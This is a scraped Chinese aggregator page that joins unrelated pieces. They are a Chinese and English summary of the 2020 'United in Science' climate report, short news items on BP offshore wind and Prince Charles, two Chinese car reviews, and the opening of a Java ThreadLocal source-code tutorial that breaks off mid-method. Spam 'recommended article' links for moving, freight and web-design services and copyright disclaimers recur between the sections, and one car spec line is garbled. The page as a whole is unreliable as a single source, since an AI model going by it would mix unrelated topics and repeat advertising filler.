根據目前的預估,2030年與2°C目標的排放差距為120~150億公噸二氧化碳當量(CO2e),與1.5°C目標的排放差距為29~32吉噸二氧化碳當量,大約等於六個最大排放國的排放總量。

環境署說:「仍然有可能縮小這個排放差距,但需要所有國家和所有部門立即協調一致的行動……短期來說可以透過擴大現有的有效的政策來實現,例如再生能源和能源效率、低碳運輸以及逐步淘汰煤炭的政策。」

全球氣候狀況(WMO和英國氣象局)

2016~2020年的全球平均溫度將是有記錄以來最高溫,比前工業化時代參考期1850~1900年高出約1.1°C,比2011~2015年的全球平均溫度高出0.24°C。

在2020年至2024年這五年期間,至少有一年比工業化前水準高出1.5°C以上的機率是24%,五年平均值超過該水準的機會很小(3%)。兩家機構在報告中表示:「未來五年內,有70%的機率有一個或多個月的氣溫可能比工業化前高至少1.5°C。」

2016年至2020年間的每一年,北極海冰面積都低於平均水準。

2016至2019年的冰川質量損失均大於1950年以來的每個五年期。

2011至2015年和2016至2020年這兩個五年相比,全球平均海平面上升速度有所提高。

氣候變遷下的海洋和冰凍圈(政府間氣候變遷專門委員會)

人為氣候變遷正在影響從山頂到海洋深處的生命維持系統,導致海平面上升加快,對生態系統和人類安全產生連鎖反應,也對適應和綜合風險管理造成嚴峻挑戰。

全球的冰蓋和冰川正在消失。1979年至2018年間,一年之中每個月的北極海冰範圍都一直在減少。野火增加、永凍土突然融化以及北極和山區水文的變化,已經改變了生態系統擾動的頻率和強度。

1970年以來,全球海洋暖化不停息,並吸收了氣候系統90%以上的多餘熱量。自1993年以來,海洋暖化的速度和所吸收的來自氣候系統的熱量增加了一倍以上。

海洋熱浪的頻率增加了一倍,持續時間更長、強度更大、範圍更廣,導致大規模珊瑚白化。自1980年代以來,海洋吸收了人為二氧化碳總排放量的20%至30%,使海洋進一步酸化。

自大約1950年以來,海洋暖化、海冰變化和氧氣流失,許多海洋物種的分佈範圍和季節性活動發生了變化。

由於格陵蘭和南極冰蓋的冰流失率增加、冰川持續流失和海洋熱膨脹,近幾十年來海平面加速上升。2006至2015年全球平均海平面上升速度為每年3.6±0.5公釐,這在上個世紀前所未見。

全球的冰蓋和冰川正在消失。美國冰河灣國家公園。照片來源:mulf(CC BY-NC-ND 2.0)

氣候與水資源(WMO)

氣候變遷最明顯的影響出現在水文條件的變化,包括冰雪動力學的變化。

到2050年,受洪水威脅的人數將從目前的12億增加到16億。在2010年代初到中期,有19億人(全球人口的27%)生活在可能缺水的地區。到2050年,這個數字將增加到27~32億。

截至2019年,全世界有12%人口的飲用水來自未經改進和不安全的水源。全世界有30%以上的人口(即24億人)沒有任何形式的衛生設施。

氣候變遷將使更多地區缺水,已經缺水的地區將更嚴重。

冰凍圈是山區及其下游地區的重要淡水來源。學界認為,冰川的年徑流最晚將在21世紀末達到全球最高峰。此後全球冰川徑流將減少,影響水的儲存。

據估計,中歐和高加索地區現已達到最高水位,青藏高原地區將在2030年至2050年達到最高水位。隨著積雪融化形成徑流,該地區的永凍土和冰川佔河流總流量的45%,流量減少將影響17億人的用水。

武肺期間的地球系統觀測(教科文組織和WMO政府間海洋學委員會)

武漢肺炎嚴重影響全球觀測工作,進而影響預報以及其他天氣、氣候和海洋相關服務的品質。

3月和4月的飛行器觀測工作平均減少了75%至80%,降低了天氣模型的預報能力。自6月以來僅略有恢復。人工操作的氣象站觀測工作也受到嚴重干擾,尤其在非洲和南美。

諸如河流流量之類的水文觀測情況也類似。自動化系統可以繼續傳遞數據,而人工讀取的測量站受到影響。

2020年3月,幾乎所有海洋學研究船都被召回國籍港口。商用船無法提供重要的海洋和天氣觀測資料,並且無法維護海洋浮標和其他系統。每10年要進行四次的全深度海洋調查,包括碳、溫度、鹽度和水鹼度等變量偵測,都取消了。提供溫室氣體排放資訊的的船舶表面碳測量工作也幾乎停止。

這對氣候變遷監測的影響是長期的,可能會阻礙或限制融冰期結束時進行的冰川質量變化或永凍土厚度的測量活動。觀測活動中斷將使基本氣候變量的歷史時間序列產生斷層,不利監測氣候變動和變遷以及相關影響。

Climate Change Intensifies Despite Pandemic Lockdowns GENEVA, Switzerland, September 10, 2020 (ENS)

Already at their highest levels in three million years, greenhouse gas concentrations in the atmosphere continue to increase, lockdowns around the world to slow the spread of the pandemic coronavirus have forced vehicles to stay parked, making way for clearer skies – temporarily.

But climate change has not stopped for COVID-19. Emissions are heading in the direction of pre-pandemic levels following a temporary decline caused by the lockdown and economic slowdown.

In 2020, emissions of the greenhouse gas carbon dioxide (CO2) are projected to fall by an estimated four to seven percent due to COVID-19 confinement policies. The exact drop in atmospheric CO2 will depend on the trajectory of the pandemic and government responses to address it.

These facts are contained in a new multi-agency report from the world’s largest and most respected scientific organizations, “United in Science 2020.”

The report, the second in a series, was coordinated by the World Meteorological Organization, WMO, with input from the Global Carbon Project, the Intergovernmental Panel on Climate Change, the Intergovernmental Oceanographic Commission of UNESCO, the UN Environment Programme and the UK Met Office.

WMO Secretary-General Professor Petteri Taalas warned, “Greenhouse gas concentrations – which are already at their highest levels in three million years – have continued to rise. Meanwhile, large swathes of Siberia have seen a prolonged and remarkable heatwave during the first half of 2020, which would have been very unlikely without anthropogenic climate change. And now 2016–2020 is set to be the warmest five-year period on record.

“This report shows that whilst many aspects of our lives have been disrupted in 2020, climate change has continued unabated,” Taalas said.

“Major impacts have been caused by extreme weather and climate events. A clear fingerprint of human-induced climate change has been identified on many of these extreme events,” the WMO and UN Met Office say in the report.

Drought and heatwaves substantially increased the risk of wildfires. The three largest economic losses on record from wildfires have all occurred in the last four years. Summer 2019 and 2020 saw unprecedented wildfires in the Arctic region. In June 2019, these fires emitted 50 million tonnes of CO2 into the atmosphere and caused the loss of permafrost. In 2019 and 2020 there were also widespread fires in the Amazon rainforest, with dramatic environmental impacts.

The results of a recent study by World Weather Attribution cited in “United in Science 2020” showed with high confidence that the January to June 2020 heat is at least 600 times more likely as a result of human-induced climate change.

The warming trend documented in this report is likely to continue, and the world is not on track to meet targets set in the 2015 Paris Agreement on climate to keep the global temperature increase well below 2°C or at 1.5°C above pre-industrial levels.

“United in Science 2020” presents the latest scientific data and findings related to climate change to inform global policy and action. It highlights the increasing and irreversible impacts of climate change, which affects glaciers, oceans, nature, economies and human living conditions and is often felt through water-related hazards such as drought or flooding.

It also documents how COVID-19 has impeded our ability to monitor these changes through the global observing system.

“This has been an unprecedented year for people and planet. The COVID-19 pandemic has disrupted lives worldwide. At the same time, the heating of our planet and climate disruption has continued apace,” said UN Secretary-General António Guterres in a foreword to the report.

“Never before has it been so clear that we need long-term, inclusive, clean transitions to tackle the climate crisis and achieve sustainable development. We must turn the recovery from the pandemic into a real opportunity to build a better future,” said Guterres, who presented the report to the UN on Wednesday. “We need science, solidarity and solutions.”

KEY FINDINGS FROM “UNITED IN SCIENCE 2020”

Greenhouse Gas Concentrations in the Atmosphere (World Meteorological Organization)

Atmospheric CO2 concentrations showed no signs of peaking and have continued to increase to new records.

Benchmark stations in the WMO Global Atmosphere Watch network reported CO2 concentrations above 410 parts per million (ppm) during the first half of 2020, with observations from Mauna Loa, Hawaii and Cape Grim, Tasmania at 414.38 ppm and 410.04 ppm, respectively, in July 2020, up about three parts per million from July 2019.

Reductions in emissions of CO2 in 2020 will only slightly impact the rate of increase in the atmospheric concentrations, which are the result of past and current emissions, as well as the very long lifetime of CO2.

“Sustained reductions in emissions to net zero are necessary to stabilize climate change,” the WMO states in its report.

Global Fossil CO2 emissions (Global Carbon Project)

CO2 emissions in 2020 will fall by an estimated four percent to seven percent due to COVID-19 confinement policies. The exact percent of decline will depend on the trajectory of the pandemic and government responses to address it.

During peak lockdown in early April 2020, the daily global fossil CO2 emissions dropped by an unprecedented 17 percent compared to 2019.

But even so, emissions were still equivalent to 2006 levels, highlighting both the steep growth over the past 15 years and the continued dependence on fossil sources for energy.

By early June 2020, global daily fossil CO2 emissions had mostly returned to within five percent below 2019 levels, which reached a new record of 36.7 gigatonnes last year, 62 percent higher than at the start of climate change negotiations in 1990.

Global methane emissions from human activities, too, have continued to increase over the past decade. “Current emissions of both CO2 and methane are not compatible with emissions pathways consistent with the targets of the Paris Agreement,” the report warns.

Emissions Gap (UN Environment Programme)

“Transformational action can no longer be postponed if the Paris Agreement targets are to be met,” urges the UN Environment Programme.

The UNEP Emissions Gap Report 2019 showed that the cuts in global emissions required per year from 2020 to 2030 are close to three percent for a 2°C target and more than seven percent per year on average for the 1.5°C goal of the Paris Agreement.

The Emissions Gap in 2030 is estimated at 12-15 gigatonnes (Gt) of carbon dioxide equivalent (CO2e) to limit global warming to below 2°C. For the 1.5°C goal, the gap is estimated at 29-32 Gt CO2e, roughly equivalent to the combined emissions of the six largest-emitting countries.

“It is still possible to bridge the emissions gap, but this will require urgent and concerted action by all countries and across all sectors,” UNEP said.

“A substantial part of the short-term potential can be realized through scaling up existing, well-proven policies, for instance on renewables and energy efficiency, low carbon transportation means and a phase-out of coal,” the UN agency said.

Technically and economically feasible solutions already exist, said UNEP. Looking beyond the 2030 timeframe, new technological solutions and gradual change in consumption patterns are needed at all levels.

State of Global Climate (WMO and UK’s Met Office)

The average global temperature for 2016–2020 is expected to be the warmest on record, about 1.1°C above 1850-1900, a reference period for temperature change since pre-industrial times and 0.24°C warmer than the global average temperature for 2011-2015.

In the five-year period 2020–2024, the chance of at least one year exceeding 1.5°C above pre-industrial levels is 24 percent, with a very small chance (three percent) of the five-year mean exceeding this level. “It is likely (~70 percent chance) that one or more months during the next five years will be at least 1.5 °C warmer than pre-industrial levels,” the two agencies said in the report.

In every year between 2016 and 2020, the Arctic sea ice extent has been below average.

The years 2016–2019 recorded a greater glacier mass loss than all other past five-year periods since 1950.

The rate of global mean sea-level rise increased between the five-year periods 2011–2015 and 2016–2020.

The Ocean and Cryosphere in a Changing Climate (Intergovernmental Panel on Climate Change)

Human-induced climate change is affecting life-sustaining systems, from the top of the mountains to the depths of the oceans, leading to accelerating sea-level rise, with cascading effects for ecosystems and human security.

This increasingly challenges adaptation and integrated risk management responses.

Ice sheets and glaciers worldwide have lost mass. Between 1979 and 2018, Arctic sea-ice extent has decreased for all months of the year. Increasing wildfire and abrupt permafrost thaw, as well as changes in Arctic and mountain hydrology, have altered the frequency and intensity of ecosystem disturbances.

The global ocean has warmed unabated since 1970 and has taken up more than 90 percent of the excess heat in the climate system. Since 1993 the rate of ocean warming, and thus heat uptake has more than doubled.

Marine heatwaves have doubled in frequency and have become longer-lasting, more intense and more extensive, resulting in large-scale coral bleaching events. The ocean has absorbed between 20 percent to 30 percent of total anthropogenic CO2 emissions since the 1980s causing further ocean acidification.

Since about 1950 many marine species have undergone shifts in geographical range and seasonal activities in response to ocean warming, sea-ice change and oxygen loss.

The global mean sea-level is rising, with acceleration in recent decades due to increasing rates of ice loss from the Greenland and Antarctic ice sheets, as well as continued glacier mass loss and ocean thermal expansion. The rate of global mean sea-level rise for 2006–2015 of 3.6 ±0.5 mm/yr is unprecedented over the last century

Climate and Water Resources (WMO)

Climate change impacts are most felt through changing hydrological conditions including changes in snow and ice dynamics.

By 2050, the number of people at risk of floods will increase from its current level of 1.2 billion to 1.6 billion. In the early to mid-2010s, 1.9 billion people, or 27 percent of the global population, lived in potentially water-scarce areas. In 2050, this number will increase to 2.7 to 3.2 billion people.

As of 2019, 12 percent of the world population drinks water from unimproved and unsafe sources. More than 30 percent of the world population, or 2.4 billion people, live without any form of sanitation.

Climate change is projected to increase the number of water-stressed regions and exacerbate shortages in already water-stressed regions.

The cryosphere is an important source of freshwater in mountains and their downstream regions. There is high confidence that annual runoff from glaciers will reach peak globally at the latest by the end of the 21st century. After that, glacier runoff is projected to decline globally with implications for water storage.

It is estimated that Central Europe and Caucasus have reached peak water now and that the Tibetan Plateau region will reach peak water between 2030 and 2050. As runoff from snow cover, permafrost and glaciers in this region provides up to 45 percent of the total river flow, the flow decrease would affect water availability for 1.7 billion people.

Earth System Observations during COVID-19 (Intergovernmental Oceanographic Commission of UNESCO and WMO)

The COVID-19 pandemic has produced significant impacts on the global observing systems, which in turn have affected the quality of forecasts and other weather, climate and ocean-related services.

The reduction of aircraft-based observations by an average of 75 percent to 80 percent in March and April degraded the forecast skills of weather models. Since June, there has been only a slight recovery. Observations at manually operated weather stations, especially in Africa and South America, have also been badly disrupted.

For hydrological observations like river discharge, the situation is similar to that of atmospheric in situ measurements. Automated systems continue to deliver data whereas gauging stations that depend on manual reading are affected.

In March 2020, nearly all oceanographic research vessels were recalled to home ports. Commercial ships have been unable to contribute vital ocean and weather observations, and ocean buoys and other systems could not be maintained. Four full-depth ocean surveys of variables such as carbon, temperature, salinity, and water alkalinity, completed only once per decade, have been canceled. Surface carbon measurements from ships, which tell us about the evolution of greenhouse gases, also effectively ceased.

The impacts on climate change monitoring are long-term. They are likely to prevent or restrict measurement campaigns for the mass balance of glaciers or the thickness of permafrost, usually conducted at the end of the thawing period. The overall disruption of observations will introduce gaps in the historical time series of Essential Climate Variables needed to monitor climate variability and change and associated impacts.

※ 全文及圖片詳見:ENS

溫室氣體
冰川崩塌
熱浪
極端高溫
山林野火
極圈
疫情看氣候與能源
深度低碳專題
國際新聞
氣候變遷

作者

姜唯

如果有一件事是重要的,如果能為孩子實現一個願望,那就是人類與大自然和諧共存。

林大利

於特有生物研究保育中心服務,小鳥和棲地是主要的研究對象。是龜毛的讀者,認為龜毛是探索世界的美德。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

分類
發燒車訊

英國石油轉型能源公司 11億美元投資離岸風電

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

分類
發燒車訊

氣候變遷影響更甚疫情 英王儲籲各界迅速行動

摘錄自2020年9月21日中央社報導

英國王儲查爾斯今天(21日)警告,氣候變遷危機影響更甚2019冠狀病毒疾病(COVID-19),敦促全球應將這波疫情視為採取行動的契機。

查爾斯(Prince Charles)說:「若未以史無前例的速度及規模,迅速且立即採取行動,我們將錯失為更永續、更包容的未來『重置』的短暫機會。」

查爾斯要向各界傳遞的訊息,包括上述言論,將在明天登場的紐約「氣候週」(Climate Week)線上開幕時播放。現年71歲的查爾斯3月時曾染疫,而他長期以來都是永續發展及對抗氣候變遷行動的擁護者。

氣候變遷
國際新聞
英國
武漢肺炎
疫情看氣候與能源

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

分類
發燒車訊

比思域還快,車主都說這款20來萬的SUV配置高動力強

發動機:1。5T/2。0T最大馬力(pS):181/245最大扭矩(Nm):240/350變速箱:6AT百公里加速(s):9。92/7。1百公里油耗(L):7。2/8。2車主百公里油耗(L):9。61/11。9驅動方式:前置前驅/前置四驅底盤懸挂:前麥弗遜/后多連桿前排腿部空間(mm):870-1085前排高度(mm):990前排寬度(mm):1470後排腿部空間(mm):610-850後排高度(mm):955後排寬度(mm):1485實際體驗(體驗者178cm):前排頭部1拳/後排頭部4指/後排腿部2拳

如果你手持20萬的購車預算,想買一款緊湊型SUV的的話,有非常多的選擇。而如果你對於操控性和動力有較大需求的話,福特的翼虎是一個不錯的選擇!

首先,翼虎懸架的調校帶有的韌性,它對於路面細碎振動的過濾徹底,提供了不錯的舒適性,同時在過彎時支撐性比較充足,尾部隨動性也不錯,駕駛起來頗為靈活!

它搭載的1.5T、2.0T兩台發動機具備強勁功率,與它們匹配的6AT變速箱降擋頗為积極,而且它帶有換擋撥片,可玩性挺高它還帶有S擋,能提升動力響應的靈敏程度。它2.0T四驅車型的破百時間僅為7.1秒,而1.5T兩驅車型百公里加速則在9.92秒內。

長寬高:4524*1838*1701mm

軸距:2690mm

定位:緊湊型SUV

外觀方面,現款的翼虎車身線條設計很凌厲,中網上粗壯的橫向條裝飾富有力量感。而且尾燈加入了黑色描邊細節,時尚感不低。而尾部的下方則採用了讓雙邊共兩出的排氣,運動感頗為出眾!

而內飾方面則為比較保守的設計風格,中控台運用軟質搪塑工藝,手感不錯。細節處加入了鋼琴漆黑色亮面裝飾條點綴,質感表現還不錯。

發動機:1.5T/2.0T

最大馬力(pS):181/245

最大扭矩(Nm):240/350

變速箱:6AT

百公里加速(s):9.92/7.1

百公里油耗(L):7.2/8.2

車主百公里油耗(L):9.61/11.9

驅動方式:前置前驅/前置四驅

底盤懸挂:前麥弗遜/后多連桿

前排腿部空間(mm):870-1085

前排高度(mm):990

前排寬度(mm):1470

後排腿部空間(mm):610-850

後排高度(mm):955

後排寬度(mm):1485

實際體驗(體驗者178cm):前排頭部1拳/後排頭部4指/後排腿部2拳2指。

感興趣的朋友可以點擊小程序查看詳細口碑,從口碑中可以看到車主們對翼虎的乘坐空間、操控性、2.0T發動機的強勁動力頗為滿意,但是對較高的油耗有些不滿。

咱們發現翼虎的優惠幅度中規中矩,在廣州地需搭配店內置換、貸款、上保險、上牌等項目,在北京、武漢地區的一些4S店還需加點裝飾。在成都地區則以現金優惠。

福特翼虎的電動助力轉向手感比較輕盈,精準度較高。懸架的調校帶有一定的韌性,它更多地側重於對震動的過濾,同時在過彎時支撐性比較充足,底盤質感較高!而且2.0T車型的動力表現強勁,當然油耗也較高!本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

分類
發燒車訊

空間大做工好!這是6萬元區間最好的7座車?

相比較7座SUV來說,歐尚A800的後備箱也小有優勢,主要體現在A800的後備箱高度和進深上,在這兩個參數上A800十分有優勢,超過1米的後備箱高度十分誇張。A800搭載了一台1。5T渦輪增壓發動機,型號為JL476ZQCD,這台全鋁發動機帶有DVVT技術,最大功率156馬力,最大扭矩225牛米,參數並不是很高。

看過了非常適合家用的SUV奇駿、夠大夠霸氣的銳界、大氣實用的奧德賽、精緻好用的途安L之後,你是覺得SUV好還是MpV好呢?有興趣的朋友可以點擊鏈接查看往期文章:

奧德賽:67.9分

途安L:64.6分

銳界:66分

奇駿:65.4分

說起8萬左右的MpV車型,就不得不提歐尚A800了!它最大的特點當然是空間、動力以及配置,這些方面它絲毫不遜於對手寶駿,而且由於這台車還是我們的工作車的原因,長期使用下來我們對它也是非常熟悉,歐尚A800外表雖然不算出色,但是論及內在絕對是一名出色的选手!

在測試中歐尚A800也表現出了強大的實力,無論是在外觀品質、動力表現以及車內空間上都可圈可點。

相比較長安以往的車型,歐尚A800在設計上盡量營造出時尚感與精緻感,從外觀很多細節上都能看到它的設計思路,這樣的造型設計顯然是成功的,A800雖然尺寸龐大,但是看上去卻並不顯臃腫,而且較大的車窗也能夠提供非常不錯的採光。

內飾也是如此,我們這台高配車型中控台非常簡潔,碩大的屏幕與空調操作區的按鈕擺放都很有檔次感,全液晶儀錶盤在這個價格區間的車型里也十分少見,加上內飾的材質比較考究,整體營造的氛圍還是不錯的。

A800的外觀工藝相比較更高價位的車型也毫不遜色,無論是外觀的鈑金縫隙,還是車漆的噴漆均勻度都很不錯,不過車漆的厚度平均不足100微米則有點太薄了。

雖然內飾看上去不錯,但是受限於價格,A800在內飾材質上大面積使用了硬塑料,如果真的談及觸感的話還是顯得有一些廉價,不過好在內飾的拼裝工藝還是不錯的,塑料件也沒有毛刺。

有了龐大的尺寸以及方正的設計,A800的內部空間可以說十分寬裕,無論是前排後排還是第三排空間都可以用寬敞來形容,而且A800的第二排還是採用獨立座椅設計,相比較大多數轎車來說都要更加舒適,不過受限於第三排地板以及空間,第三排的座椅規格比前兩排要小一些,硬度上也更硬一點。

相比較7座SUV來說,歐尚A800的後備箱也小有優勢,主要體現在A800的後備箱高度和進深上,在這兩個參數上A800十分有優勢,超過1米的後備箱高度十分誇張。

A800搭載了一台1.5T渦輪增壓發動機,型號為JL476ZQCD,這台全鋁發動機帶有DVVT技術,最大功率156馬力,最大扭矩225牛米,參數並不是很高。

與之匹配的是6擋手動變速箱,這台變速箱齒比比較綿密,尤其是前兩個擋位可以說是為拉貨設計的,非常大的齒比對於載重來說是一件好事。

不過由於齒比比較綿密,因此在加速上A800就有些吃虧了,2擋僅能跑到70km/h的速度來,再升上3擋之後才能破百,而3擋的加速度就遠不如1/2擋了,因此最終A800的破百成績為12.5秒,這樣的成績對於這台大傢伙來說倒也還算可以。

作為一台MpV車型,A800顯然和運動扯不上關係,對於這類車型來說我們的要求也就是好開,從這個角度考慮A800確實算得上不錯,首先A800的離合點十分清晰,變速箱的換擋手感也不錯!加上發動機的低扭還算不錯,開起來比較得心應手。

不過由於尺寸龐大且車身較高,懸挂也偏軟,因此A800在高速行駛的穩定性上和轎車以及多數SUV比還是不佔優勢,尤其是面對橫風的時候需要更加集中精力駕駛。

雖然加速成績是橫評車型里最慢的,不過在實際動力感受上還是不錯,尤其是低速駕駛的時候會感覺車子很有力,再加上不錯的變速箱,A800是一台很能輕鬆駕馭的手動擋車型。

對於這類型的MpV,其實最讓人擔心的就是隔音了,由於車內空間比較大,車子的迎風面積也大,所以容易在第二/三排產生較大的共鳴聲和風聲,不過在實際體驗中A800這個問題倒也不算嚴重,當然相比較轎車那肯定是差一些了。

在售價上歐尚A800的指導價算是自主入門MpV中比較低的了,性價比還是不錯的。

A800在諸多方面的表現都堪稱出色,優異的配置、不錯的駕駛感受和寬敞的空間都是它的優勢所在,對於這個價位買車的消費者來說這恰恰也是它們最關心的,再加上較低的售價使得這款車有了不錯的性價比,所以在6-9萬的MpV市場中A800確實算得上一個稱心的好選擇!

本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

分類
發燒車訊

ThreadLocal源碼解析-Java8,ThreadLocal的使用場景分析,利用線性探測法解決hash衝突,Java-強引用、軟引用、弱引用、虛引用,利用線性探測法解決hash衝突,分析ThreadLocal的弱引用與內存泄漏問題-Java8

目錄

一.ThreadLocal介紹

  1.1 ThreadLocal的功能

  1.2 ThreadLocal使用示例

二.源碼分析-ThreadLocal

  2.1 ThreadLocal的類層級關係

  2.2 ThreadLocal的屬性字段

  2.3 創建ThreadLocal對象

  2.4 ThreadLocal-set操作

  2.5 ThreadLocal-get操作

  2.6 ThreadLocal-remove操作

三.ThreadLocalMap類

  3.0 線性探測算法解決hash衝突

  3.1 Entry內部類

  3.2 ThreadLocalMap的常量介紹

  3.3 實例化ThreadLocalMap

  3.4 ThreadLocalMap的set操作

  3.5 清理陳舊Entry和rehash

四.總結 

 

一.介紹ThreadLocal

1.1ThreadLocal的功能

  我們知道,變量從作用域範圍進行分類,可以分為“全局變量”、“局部變量”兩種:

  1.全局變量(global variable),比如類的靜態屬性(加static關鍵字),在類的整個生命周期都有效;

  2.局部變量(local variable),比如在一個方法中定義的變量,作用域只是在當前方法內,方法執行完畢后,變量就銷毀(釋放)了;

  使用全局變量,當多個線程同時修改靜態屬性,就容易出現併發問題,導致臟數據;而局部變量一般來說不會出現併發問題(在方法中開啟多線程併發修改局部變量,仍可能引起併發問題);

  再看ThreadLocal,可以用來保存局部變量,只不過這個“局部”是指“線程”作用域,也就是說,該變量在該線程的整個生命周期中有效。

  關於ThreadLocal的使用場景,可以查看ThreadLocal的使用場景分析。

 

1.2ThreadLocal的使用示例

  ThreadLocal使用非常簡單。

package cn.ganlixin;

import org.junit.Test;

import java.util.Arrays;
import java.util.List;

public class TestThreadLocal {

    private static class Goods {
        public Integer id;
        public List<String> tags;
    }

    @Test
    public void testReference() {
        Goods goods1 = new Goods();
        goods1.id = 10;
        goods1.tags = Arrays.asList("healthy", "cheap");

        ThreadLocal<Goods> threadLocal = new ThreadLocal<>();
        threadLocal.set(goods1);

        Goods goods2 = threadLocal.get();
        System.out.println(goods1); // cn.ganlixin.TestThreadLocal$Goods@1c655221
        System.out.println(goods2); // cn.ganlixin.TestThreadLocal$Goods@1c655221

        goods2.id = 100;
        System.out.println(goods1.id);  // 100
        System.out.println(goods2.id);  // 100

        threadLocal.remove();
        System.out.println(threadLocal.get()); // null
    }

    @Test
    public void test2() {
        // 一個線程中,可以創建多個ThreadLocal對象,多個ThreadLoca對象互不影響
        ThreadLocal<String> threadLocal1 = new ThreadLocal<>();
        ThreadLocal<String> threadLocal2 = new ThreadLocal<>();
        // ThreadLocal存的值默認為null

        System.out.println(threadLocal1.get()); // null

        threadLocal1.set("this is value1");
        threadLocal2.set("this is value2");
        System.out.println(threadLocal1.get()); // this is value1
        System.out.println(threadLocal2.get());  // this is value2

        // 可以重寫initialValue進行設置初始值
        ThreadLocal<String> threadLocal3 = new ThreadLocal<String>() {
            @Override
            protected String initialValue() {
                return "this is initial value";
            }
        };
        System.out.println(threadLocal3.get()); // this is initial value
    }
}

  

二.源碼分析-ThreadLocal

2.1ThreadLocal類層級關係

  

  ThreadLocal類中有一個內部類ThreadLocalMap,這個類特別重要,ThreadLocal的各種操作基本都是圍繞ThreadLocalMap進行的

  對於ThreadLocalMap有來說,它內部定義了一個Entry內部類,有一個table屬性,是一個Entry數組,和HashMap有一些相似的地方,但是ThreadLocalMap和HashMap並沒有什麼關係。

  先大概看一下內存關係圖,不理解也沒關係,看了後面的代碼應該就能理解了:

   

  大概解釋一下,棧中的Thread ref(引用)堆中的Thread對象,Thread對象有一個屬性threadlocals(ThreadLocalMap類型),這個Map中每一項(Entry)的value是ThreadLocal.set()的值,而Map的key則是ThreadLocal對象。

  下面在介紹源碼的時候,會從兩部分進行介紹,先介紹ThreadLocal的常用api,然後再介紹ThreadLocalMap,因為ThreadLocal的api內部其實都是在操作ThreadLocalMap,所以看源碼時一定要知道他們倆之間的關係

 

2.2ThreadLocal的屬性

  ThreadLocal有3個屬性,主要的功能就是生成ThreadLocal的hash值。

// threadLocalHashCode用來表示當前ThreadLocal對象的hashCode,通過計算獲得
private final int threadLocalHashCode = nextHashCode();

// 一個AtomicInteger類型的屬性,功能就是計數,各種操作都是原子性的,在併發時不會出現問題
private static AtomicInteger nextHashCode = new AtomicInteger();

// hash值的增量,不是隨便指定的,被稱為“黃金分割數”,能讓hash結果均衡分佈
private static final int HASH_INCREMENT = 0x61c88647;

/**
 * 通過計算,為當前ThreadLocal對象生成一個HashCode
 */
private static int nextHashCode() {
    // 獲取當前nextHashCode,然後遞增HASH_INCREMENT
    return nextHashCode.getAndAdd(HASH_INCREMENT);
}

  

2.3創建ThreadLocal對象

  ThreadLocal類,只有一個無參構造器,如果需要是指默認值,則可以重寫initialValue方法:

public ThreadLocal() {}

/**
 * 初始值默認為null,要設置初始值,只需要設置為方法返回值即可
 *
 * @return ThreadLocal的初始值
 */
protected T initialValue() {
    return null;
}

  需要注意的是initialValue方法並不會在創建ThreadLocal對象的時候設置初始值,而是延遲執行:當ThreadLocal直接調用get時才會觸發initialValue執行(get之前沒有調用set來設置過值),initialValue方法在後面還會介紹。 

 

2.4ThreadLocal-set操作

  下面這段代碼只給出了ThreadLocal的set代碼:

public void set(T value) {
    // 獲取當前線程
    Thread t = Thread.currentThread();

    // 獲取當前線程的ThreadLocalMap屬性,ThreadLocal有一個threadLocals屬性(ThreadLocalMap類型)
    ThreadLocalMap map = getMap(t);

    if (map != null) {
        // 如果當前線程有關聯的ThreadLocalMap對象,則調用ThreadLocalMap的set方法進行設置
        map.set(this, value);
    } else {
        // 創建一個與當前線程關聯的ThreadLocalMap對象,並設置對應的value
        createMap(t, value);
    }
}

/**
 * 獲取線程關聯的ThreadLocalMap對象
 */
ThreadLocalMap getMap(Thread t) {
    return t.threadLocals;
}

/**
 * 創建ThreadLocalMap
 * @param t          key為當前線程
 * @param firstValue value為ThreadLocal.set的值
 */
void createMap(Thread t, T firstValue) {
    t.threadLocals = new ThreadLocalMap(this, firstValue);
}

  如果想立即了解ThreadLocalMap的set方法,則可點此跳轉!

 

2.5ThreadLocal-get操作

  前面說過“重寫ThreadLocal的initialValue方法來設置ThreadLocal的默認值,並不是在創建ThreadLocal的時候執行的,而是在直接get的時候執行的”,看了下面的代碼,就知道這句話的具體含義了,感覺設計很巧妙:

public T get() {
    // 獲取當前線程
    Thread t = Thread.currentThread();

    // 獲取當前線程對象的threadLocals屬性
    ThreadLocalMap map = getMap(t);

    // 若當前線程對象的threadLocals屬性不為空(map不為空)
    if (map != null) {
        // 當前ThreadLocal對象作為key,獲取ThreadLocalMap中對應的Entry
        ThreadLocalMap.Entry e = map.getEntry(this);

        // 如果找到對應的Entry,則證明該線程的該ThreadLocal有值,返回值即可
        if (e != null) {
            @SuppressWarnings("unchecked")
            T result = (T) e.value;
            return result;
        }
    }

    // 1.當前線程對象的threadLocals屬性為空(map為空)
    // 2.或者map不為空,但是未在map中查詢到以該ThreadLocal對象為key對應的entry
